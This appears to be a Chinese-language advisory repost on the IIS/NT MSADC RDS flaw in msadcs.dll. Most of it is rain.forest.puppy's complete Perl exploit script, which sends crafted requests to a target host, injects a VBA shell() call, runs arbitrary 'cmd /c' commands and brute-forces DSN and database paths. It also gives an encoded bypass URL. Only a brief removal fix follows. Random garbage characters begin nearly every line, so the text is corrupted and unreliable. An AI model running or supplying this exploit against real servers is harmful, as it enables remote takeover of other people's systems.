IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
>D#}B1(! o+Z9h1z%, 涉及程序:
iRtDZoiD' Microsoft NT server
S:\hcW6 B9-[wg#0G 描述:
][1u:V/
U 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
I,3!uogn r,KK%B 详细:
-y.AJ~T 如果你没有时间读详细内容的话,就删除:
*v3
| c:\Program Files\Common Files\System\Msadc\msadcs.dll
^eRT8I 有关的安全问题就没有了。
9Dw&b iCKwd 9?) 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
_q4m7C< ='>UKy[= 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
Cw5K* 关于利用ODBC远程漏洞的描述,请参看:
,4,c-
ZHasDZ8 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm +eXfT*=u5 0Wm-`ZA 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
<J`xCm K http://www.microsoft.com/security/bulletins/MS99-025faq.asp gXJ^o;R>M Zw{tuO7}K 这里不再论述。
w5jZI|
A$6b=2hc> 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
PlUjjJU H12@12v /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
8E[`H 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
V,5}hQJ
F x&vD,|V! W2N 7 #将下面这段保存为txt文件,然后: "perl -x 文件名"
#B9[U}
8 :/qO*&i,N #!perl
kc[["w& #
#Q7$I.O] # MSADC/RDS 'usage' (aka exploit) script
N
Z`hy>LF^ #
6Qu*' # by rain.forest.puppy
FM[To #
>#|Yoc # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
vDvGT<d # beta test and find errors!
^W'[l al. FJ"9Hs2 use Socket; use Getopt::Std;
hspg-|R getopts("e:vd:h:XR", \%args);
KLW+&.re8 eMzCAO print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
&N0|tn v2sU$M if (!defined $args{h} && !defined $args{R}) {
,ua1xsZl& print qq~
7`!( 8 Usage: msadc.pl -h <host> { -d <delay> -X -v }
]H2aYi$ -h <host> = host you want to scan (ip or domain)
$t}1|q| -d <seconds> = delay between calls, default 1 second
,[L$ -X = dump Index Server path table, if available
7bS[\5 -v = verbose
%m3efaC -e = external dictionary file for step 5
qTF>!o#\: tvRy8u; Or a -R will resume a command session
UV.9KcN. 5 ZPUY ~; exit;}
UUqj?'Nv pa-4|)qY $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
jF9CTL< if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
YYW70k: if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
id'#s if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Kf~+jYobO $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
G1tp if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
!k9h6/b6 nUHVPuQ/'T if (!defined $args{R}){ $ret = &has_msadc;
O%e.u>=4% die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
GR
`ncI$z F2'cL @E3 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
D[M?27 . "cmd /c ";
e~?]F0/ $in=<STDIN>; chomp $in;
iZk``5tPE $command="cmd /c " . $in ;
|0p'p$% taaAwTtk?A if (defined $args{R}) {&load; exit;}
g1, ypo=y/! print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
MGDv4cFE. &try_btcustmr;
b%j:-^0V BwD1}1jp print "\nStep 2: Trying to make our own DSN...";
P^W47
SO &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
3=7 h+ZgB krc!BK`V print "\nStep 3: Trying known DSNs...";
(=V[tI+Ngt &known_dsn;
A8GlE c@M@t0WT[ print "\nStep 4: Trying known .mdbs...";
b0 `9wn &known_mdb;
%QLYNuG l&xD3u^G if (defined $args{e}){
}j*/>m print "\nStep 5: Trying dictionary of DSN names...";
_1Gut"!{\ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
v"~I( kf$ p5VSSvV\K print "Sorry Charley...maybe next time?\n";
u_=y,~s exit;
,>v9 Y#U %[m1\h"1 ##############################################################################
o1+]6s+j} ,6\f4/ sub sendraw { # ripped and modded from whisker
Z]\^.x9S sleep($delay); # it's a DoS on the server! At least on mine...
',Pk>f]AB- my ($pstr)=@_;
x~tQYK socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
% 6.jh#C die("Socket problems\n");
Z"Ni
Y if(connect(S,pack "SnA4x8",2,80,$target)){
i]%"s_l select(S); $|=1;
+Q0-jS#d print $pstr; my @in=<S>;
S'p`ECfVMA select(STDOUT); close(S);
2tm-:CPG return @in;
tuV?:g? } else { die("Can't connect...\n"); }}
>Fk`h=Wd T?{9Z ##############################################################################
v=-3 ,C "e<.
n sub make_header { # make the HTTP request
z}8L}: my $msadc=<<EOT
\RyA}P5S POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
-wMW@:M_ User-Agent: ACTIVEDATA
Hd`p_?3] Host: $ip
-GVG1#5 Content-Length: $clen
HW Os@!cL Connection: Keep-Alive
PGl-2Cr <W')
~o} ADCClientVersion:01.06
% ul{nL: Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
z}&C(m:al fhx:EZ:~ --!ADM!ROX!YOUR!WORLD!
){6)?[G Content-Type: application/x-varg
)0MshgM Content-Length: $reqlen
})vr*[ v};qMceJ EOT
X$Vz ; $msadc=~s/\n/\r\n/g;
$50"3g!Y return $msadc;}
_5 tqO5' z}2e;d 7 ##############################################################################
m@yVG|eP# G11.6]?Gg sub make_req { # make the RDS request
Jd"s~n<>K my ($switch, $p1, $p2)=@_;
#gJ~ {tA: my $req=""; my $t1, $t2, $query, $dsn;
lNVAKwW2# l5]oS?>y if ($switch==1){ # this is the btcustmr.mdb query
Er1u1@ $query="Select * from Customers where City=" . make_shell();
NVWeJ+w $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
~(OIo7#; $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
rGGepd 05I39/T% elsif ($switch==2){ # this is general make table query
A=]F_ $query="create table AZZ (B int, C varchar(10))";
- :z5m+ $dsn="$p1";}
4@iJ|l G5y elsif ($switch==3){ # this is general exploit table query
cGzYW~K $query="select * from AZZ where C=" . make_shell();
nYt\e]3 $dsn="$p1";}
H-KwkH`L4 _D,f4.R elsif ($switch==4){ # attempt to hork file info from index server
,T*_mDVY $query="select path from scope()";
VD3MJ 8!w $dsn="Provider=MSIDXS;";}
$_zkq@ m&0BbyE.z elsif ($switch==5){ # bad query
fB,1s}3Hn $query="select";
W)msaq, $dsn="$p1";}
i)PV{3v$J L(2P|{C $t1= make_unicode($query);
VN-#R=D $t2= make_unicode($dsn);
wW! r}I# $req = "\x02\x00\x03\x00";
X+E\]X2 $req.= "\x08\x00" . pack ("S1", length($t1));
KSB_%OI1 $req.= "\x00\x00" . $t1 ;
Yj7= T%5 $req.= "\x08\x00" . pack ("S1", length($t2));
Q>a7Ps@~ $req.= "\x00\x00" . $t2 ;
/,N!g_"Z $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
{F+M&+`` return $req;}
s?x>Yl
% Dq%r
! ) ##############################################################################
^!p<zZ +[8Kl=]L sub make_shell { # this makes the shell() statement
Y!1^@;)^ return "'|shell(\"$command\")|'";}
Q] yT C6V&R1" s ##############################################################################
0"qim0%|DF !eAdm sub make_unicode { # quick little function to convert to unicode
!:O/|.+Vmf my ($in)=@_; my $out;
={E!8" for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
6SBvn% return $out;}
^&';\O@) ;.Oh88|k ##############################################################################
Lr}b, mn; 7o~4 sub rdo_success { # checks for RDO return success (this is kludge)
DkF2R @ my (@in) = @_; my $base=content_start(@in);
oD#<?h)( if($in[$base]=~/multipart\/mixed/){
}#W`<,*rL. return 1 if( $in[$base+10]=~/^\x09\x00/ );}
n]C%(v!u3 return 0;}
=Q8H]F %6IlE.*, ##############################################################################
k4F"UG-` IgiF,{KE, sub make_dsn { # this makes a DSN for us
DR yESi my @drives=("c","d","e","f");
PVD ~W)0m* print "\nMaking DSN: ";
?%xhe foreach $drive (@drives) {
teOBsFy/I print "$drive: ";
"H="Ip!s my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
&Ky u@Tt "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
yw*mA1v . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
&<w[4z\ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
f*T)*R_ return 0 if $2 eq "404"; # not found/doesn't exist
X=p3KzzX if($2 eq "200") {
&J^4Y!gt foreach $line (@results) {
^/ DII`A return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
{NY~JFM } return 0;}
$D/bU lFx TI[UX16Tz1 ##############################################################################
7moElh v .qIy7_^ sub verify_exists {
~6-"i0k
my ($page)=@_;
si^4<$Nr%j my @results=sendraw("GET $page HTTP/1.0\n\n");
Z`oaaO return $results[0];}
:(l $^
M O\4+_y ##############################################################################
&vFqe,Z Kl aZZJ sub try_btcustmr {
K(Q]&&< my @drives=("c","d","e","f");
<K,%
y(] my @dirs=("winnt","winnt35","winnt351","win","windows");
O@r.> zY1s7/$i foreach $dir (@dirs) {
=CKuiO.j print "$dir -> "; # fun status so you can see progress
G !1~i*P$u foreach $drive (@drives) {
Ev+HW x~Y print "$drive: "; # ditto
fKTDt% $reqlen=length( make_req(1,$drive,$dir) ) - 28;
i+)}aA $reqlenlen=length( "$reqlen" );
vcw>v={x $clen= 206 + $reqlenlen + $reqlen;
+dCDM1{_a (aJP: ^ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
:>P4L,Da] if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
8Q^6ibE else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
+^4BO` 5oU`[&=Ob ##############################################################################
9|N"@0<B 1tc]rC4h sub odbc_error {
vnC<*k4&v my (@in)=@_; my $base;
RG l=7^M my $base = content_start(@in);
qY$*#*Q if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
v@fe-T&0 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
O}K_l1 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
-t@y\vZF, $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
b W=.K>| return $in[$base+4].$in[$base+5].$in[$base+6];}
3!.H^v?
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
.:{h{@a print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
r=~WMDCz@ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
4{;8:ax&w ([,vX"4 ##############################################################################
{Ax)[<i ^)f{q)to sub verbose {
:DdBn. my ($in)=@_;
n+{HNr return if !$verbose;
~K~b`|1 print STDOUT "\n$in\n";}
L$+d.=] K\{b!Cfr^ ##############################################################################
<+AI t 9Z,*h-o sub save {
{W5ydHXy my ($p1, $p2, $p3, $p4)=@_;
eg"=H50 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
aho'|%y) print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
bA@
/B' close OUT;}
H96BqNoO RzA2*]%a ##############################################################################
K*R)V/B/l
&W=V%t>Z sub load {
<w0NPrS] my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
-{X<*P4p open(IN,"<rds.save") || die("Couldn't open rds.save\n");
ixIV=# @p=<IN>; close(IN);
|SGgy|/a# $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
(Wd_G-da $target= inet_aton($ip) || die("inet_aton problems");
nu&_gF,{ print "Resuming to $ip ...";
1t/dxB; $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
W@I
02n2H if($p[1]==1) {
Y{B9`Z $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
RAIVdQ}.Z $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
g.64Id my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
$; Q$W9+ if (rdo_success(@results)){print "Success!\n";}
7 I_1 #O else { print "failed\n"; verbose(odbc_error(@results));}}
j5L)N elsif ($p[1]==3){
KX?o
n sZ if(run_query("$p[3]")){
tg.|$n print "Success!\n";} else { print "failed\n"; }}
%55@3)V8Rf elsif ($p[1]==4){
t"<s} ~ if(run_query($drvst . "$p[3]")){
I
jZ]_*^! print "Success!\n"; } else { print "failed\n"; }}
$_Y/'IN`k exit;}
J=I:T2bV&s WnD^F> ##############################################################################
@S`$C 3B@y &a#& sub create_table {
*#3*;dya] my ($in)=@_;
&|v{#,ymeb $reqlen=length( make_req(2,$in,"") ) - 28;
PX;Vo~6 $reqlenlen=length( "$reqlen" );
3/X-Cr+d $clen= 206 + $reqlenlen + $reqlen;
5Z/yhF.{ my @results=sendraw(make_header() . make_req(2,$in,""));
5]jx5!N return 1 if rdo_success(@results);
)O,wRd>5 my $temp= odbc_error(@results); verbose($temp);
CF]i}xpWV return 1 if $temp=~/Table 'AZZ' already exists/;
>(hSW~i~ return 0;}
N>+ P WE$ 8g\wVKkTQp ##############################################################################
pv$mZi4i A0G)imsW:_ sub known_dsn {
t?gJNOV # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
a%Uw;6|{ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
Z+g1~\ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
!CVuw "banner", "banners", "ads", "ADCDemo", "ADCTest");
z0#-)AeS HbcOTd)=5 foreach $dSn (@dsns) {
fJaubDxa print ".";
/:bKqAz;M next if (!is_access("DSN=$dSn"));
e# t3u_ if(create_table("DSN=$dSn")){
{vs 4vS6 print "$dSn successful\n";
*yJ[zXXjJ if(run_query("DSN=$dSn")){
l^.K'Q1~a print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
$tI]rU print "Something's borked. Use verbose next time\n";}}} print "\n";}
XC=%H'p Y[2Wt%2\6 ##############################################################################
&e5(Djz8t g3Z:{@m sub is_access {
l
:/&E 6 9 my ($in)=@_;
_w 5RK( $reqlen=length( make_req(5,$in,"") ) - 28;
g%ubvu2t] $reqlenlen=length( "$reqlen" );
Ab/j(xr= $clen= 206 + $reqlenlen + $reqlen;
[`d$X^<y; my @results=sendraw(make_header() . make_req(5,$in,""));
p8Iw!HE my $temp= odbc_error(@results);
7_-w_"X verbose($temp); return 1 if ($temp=~/Microsoft Access/);
3P1&; return 0;}
~
|6dH P`
#QGZ> ##############################################################################
[r(Qs| ;x-(kIiE sub run_query {
#? dUv# my ($in)=@_;
f\fdg].! $reqlen=length( make_req(3,$in,"") ) - 28;
|'tW= $reqlenlen=length( "$reqlen" );
@5WgqB $clen= 206 + $reqlenlen + $reqlen;
L'lF/qe^ my @results=sendraw(make_header() . make_req(3,$in,""));
zrs<#8!Y_! return 1 if rdo_success(@results);
d{f@K71* my $temp= odbc_error(@results); verbose($temp);
-T7%dLHY return 0;}
b/t } ^i b ##############################################################################
,|+Gls vv6?V#{ sub known_mdb {
j Fma|y my @drives=("c","d","e","f","g");
EM@;3.IO my @dirs=("winnt","winnt35","winnt351","win","windows");
ibJHU@l my $dir, $drive, $mdb;
-T7xK/ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
4[TR0bM% 9Y/L?km_( # this is sparse, because I don't know of many
b;#\~(a my @sysmdbs=( "\\catroot\\icatalog.mdb",
3o*FPO7? "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
6k"P&AD "\\system32\\certmdb.mdb",
c"7j3/p "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
V }>n RsW9:*R my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
Rs*vm "\\cfusion\\cfapps\\forums\\forums_.mdb",
$<|ocUC7 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
X eoJ$PfT "\\cfusion\\cfapps\\security\\realm_.mdb",
9XX>A* "\\cfusion\\cfapps\\security\\data\\realm.mdb",
K^zDNIQU "\\cfusion\\database\\cfexamples.mdb",
6 "U8V?E "\\cfusion\\database\\cfsnippets.mdb",
-I":Z2.fR "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
C9qJP^F "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
3NIUW!gr "\\cfusion\\brighttiger\\database\\cleam.mdb",
+R6a}d/K "\\cfusion\\database\\smpolicy.mdb",
n-o3 "\\cfusion\\database\cypress.mdb",
DdSSd@,x* "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
|9Yi7. "\\website\\cgi-win\\dbsample.mdb",
`Gd$:qV "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
!g>.i` "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
_n"Ae?TP ); #these are just
fj>C@p foreach $drive (@drives) {
09S6#; N& foreach $dir (@dirs){
y,=du foreach $mdb (@sysmdbs) {
&3Z?UhH print ".";
<*|?x86~ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
]"F5;p;y print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
/qU>5; if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
k%P;w1 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
fQ 7vL~E } else { print "Something's borked. Use verbose next time\n"; }}}}}
Q6
?z_0 ar.AL' foreach $drive (@drives) {
|>2FRPK foreach $mdb (@mdbs) {
%+-C3\' print ".";
{f/ ]5x(_ if(create_table($drv . $drive . $dir . $mdb)){
w~Ff%p@9 print "\n" . $drive . $dir . $mdb . " successful\n";
5Y\!pf7SQ| if(run_query($drv . $drive . $dir . $mdb)){
f[sF:f(zI print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
>^$2f&z } else { print "Something's borked. Use verbose next time\n"; }}}}
LO:fJ{ - }
\*0yaSQF U7iuY~L ##############################################################################
_q?<at}y \}_Yd8 sub hork_idx {
K93p"nHN print "\nAttempting to dump Index Server tables...\n";
UsQ4~e 4- print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
k+^'?D--'P $reqlen=length( make_req(4,"","") ) - 28;
pV(lhDNoQ $reqlenlen=length( "$reqlen" );
wGsRS[ $clen= 206 + $reqlenlen + $reqlen;
Z5(enTy- my @results=sendraw2(make_header() . make_req(4,"",""));
G{9X)|d
if (rdo_success(@results)){
l4y{m#/ my $max=@results; my $c; my %d;
pS[KBQ"F for($c=19; $c<$max; $c++){
{/<6v. v $results[$c]=~s/\x00//g;
7=XL!:P $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
%7hB&[ 5 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
`^9(Ot $ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
_qXa=|}V. $d{"$1$2"}="";}
xJs;v foreach $c (keys %d){ print "$c\n"; }
bEV<iZDq% } else {print "Index server doesn't seem to be installed.\n"; }}
2F`cv1 M FG@-bV ##############################################################################
!xIm2+:( ;8{cA_& sub dsn_dict {
]i*](UQ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
,`A?!.K$ while(<IN>){
"
=]
-%B $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
QK`i%TXJ next if (!is_access("DSN=$dSn"));
sJ
z@7. if(create_table("DSN=$dSn")){
wJ<Oo@snm print "$dSn successful\n";
h*B|fy4K9U if(run_query("DSN=$dSn")){
!ZRs;UZ>o print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
o>/O++7R a print "Something's borked. Use verbose next time\n";}}}
c`*TPqw(B[ print "\n"; close(IN);}
,m=4@ofX -fI@])$9J ##############################################################################
qT:zEt5 \C^;k%{LV sub sendraw2 { # ripped and modded from whisker
WQNE2Q sleep($delay); # it's a DoS on the server! At least on mine...
f:B>zp;N my ($pstr)=@_;
9Z5D\yv?H socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
3q:n'PC)C die("Socket problems\n");
3]&o*Ib1`_ if(connect(S,pack "SnA4x8",2,80,$target)){
evA/+F,& print "Connected. Getting data";
SJt<+kg open(OUT,">raw.out"); my @in;
0c^>eq] select(S); $|=1; print $pstr;
X[gn+6WB% while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
L6Wt3U`l close(OUT); select(STDOUT); close(S); return @in;
J[~5U~F } else { die("Can't connect...\n"); }}
WKz>
!E% 9`//^8G:= ##############################################################################
^YdcAHjK Sn4[3JV $l sub content_start { # this will take in the server headers
)u]9193 my (@in)=@_; my $c;
bI)u/ for ($c=1;$c<500;$c++) {
r7]zQIE if($in[$c] =~/^\x0d\x0a/){
c#IYFTz if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
b1XRC`Gy else { return $c+1; }}}
r|e-<t4.9L return -1;} # it should never get here actually
D]a <4a18 ;Vik5)D2D ##############################################################################
*=V7@o *'Y@3vKE sub funky {
m!z|h9Ed my (@in)=@_; my $error=odbc_error(@in);
f
h#C' sn if($error=~/ADO could not find the specified provider/){
h:zK(; print "\nServer returned an ADO miscofiguration message\nAborting.\n";
NLPkh,T: exit;}
:j')E`#
if($error=~/A Handler is required/){
p!O(Y6QM print "\nServer has custom handler filters (they most likely are patched)\n";
|2\{z{? exit;}
m'\ 2:mDu0 if($error=~/specified Handler has denied Access/){
<<](XgR( print "\nServer has custom handler filters (they most likely are patched)\n";
/2EHv.e` exit;}}
1i:|3PA~ %CUGm$nH ##############################################################################
'I;!pUfVp km^^T_ M/ sub has_msadc {
Ofm%:}LV my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
n+lOb my $base=content_start(@results);
V7G7&' return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
)irRO 8 return 0;}
Y HSYu "8^5>EJWv ########################
u]u[(K5F OouPj@r [gy*`@w 解决方案:
T,xPSN2A* 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
*_E|@y 2、移除web 目录: /msadc